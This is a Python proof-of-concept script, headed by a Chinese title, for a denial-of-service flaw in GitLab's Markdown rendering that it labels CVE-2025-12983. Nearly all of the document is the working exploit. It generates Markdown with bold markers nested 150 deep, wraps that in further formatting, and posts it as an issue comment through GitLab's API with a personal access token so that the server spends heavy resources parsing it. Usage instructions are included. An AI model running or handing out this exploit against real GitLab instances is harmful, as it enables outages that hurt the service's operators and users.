GitLab Markdown嵌套格式拒绝服务漏洞 (CVE-2025-12983)

#!/usr/bin/env python3 # CVE-2025-12983 PoC - GitLab Markdown Nested Formatting DoS # This PoC generates a crafted markdown payload with nested formatting patterns # that can cause denial of service when rendered by GitLab. import requests import sys def generate_nested_markdown(depth=100): """ Generate nested markdown content to trigger DoS. The nesting creates exponential parsing complexity. """ # Create deeply nested formatting patterns payload = "test" for i in range(depth): payload = f"**{payload}**" # Wrap in various formatting combinations final_payload = f"""**__~~{payload}~~__** [{payload}](https://example.com) `{payload}` > {payload} - {payload} """ return final_payload def exploit_gitlab(target_url, token, issue_id): """ Submit crafted markdown to GitLab issue to trigger DoS. Args: target_url: Base URL of GitLab instance token: GitLab personal access token issue_id: Target issue ID to post comment """ headers = { "PRIVATE-TOKEN": token, "Content-Type": "application/json" } # Generate the malicious payload markdown_content = generate_nested_markdown(depth=150) # Post as comment to trigger markdown rendering comment_data = { "body": markdown_content } api_url = f"{target_url}/api/v4/issues/{issue_id}/notes" try: response = requests.post(api_url, json=comment_data, headers=headers) if response.status_code == 201: print("[+] Malicious markdown submitted successfully!") print("[*] GitLab server will consume resources parsing nested patterns") return True else: print(f"[-] Failed to submit: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <gitlab_url> <token> <issue_id>") print("Example: python3 poc.py https://gitlab.example.com glpat-xxxx 123") sys.exit(1) target = sys.argv[1] token = sys.argv[2] issue = sys.argv[3] exploit_gitlab(target, token, issue)